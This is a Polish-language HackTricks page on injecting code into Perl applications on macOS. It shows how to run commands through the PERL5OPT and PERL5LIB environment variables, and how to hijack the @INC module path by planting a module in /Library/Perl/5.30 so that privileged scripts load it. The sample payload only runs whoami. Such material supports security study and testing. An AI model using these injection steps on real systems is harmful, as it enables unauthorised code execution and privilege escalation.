macOS Perl Applications Injection

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Przez zmienną środowiskową PERL5OPT & PERL5LIB

Korzystając z zmiennej środowiskowej PERL5OPT, można sprawić, że perl będzie wykonywał dowolne polecenia. Na przykład, stwórz ten skrypt:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Teraz wyeksportuj zmienną środowiskową i wykonaj skrypt perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Kolejną opcją jest utworzenie modułu Perl (np. /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Następnie użyj zmiennych środowiskowych:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Przez zależności

Możliwe jest wyświetlenie kolejności folderów zależności uruchamiania Perla:

perl -e 'print join("\n", @INC)'

Który zwróci coś w stylu:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Niektóre z zwróconych folderów nawet nie istnieją, jednak /Library/Perl/5.30 istnieje, nie jest chroniony przez SIP i znajduje się przed folderami chronionymi przez SIP. Dlatego ktoś mógłby nadużyć tego folderu, aby dodać zależności skryptu, tak aby skrypt Perl o wysokich uprawnieniach mógł je załadować.

Należy jednak zauważyć, że musisz być rootem, aby móc pisać w tym folderze, a obecnie otrzymasz ten komunikat TCC:

Na przykład, jeśli skrypt importuje use File::Basename;, byłoby możliwe utworzenie /Library/Perl/5.30/File/Basename.pm, aby wykonać arbitralny kod.

Referencje

Last updated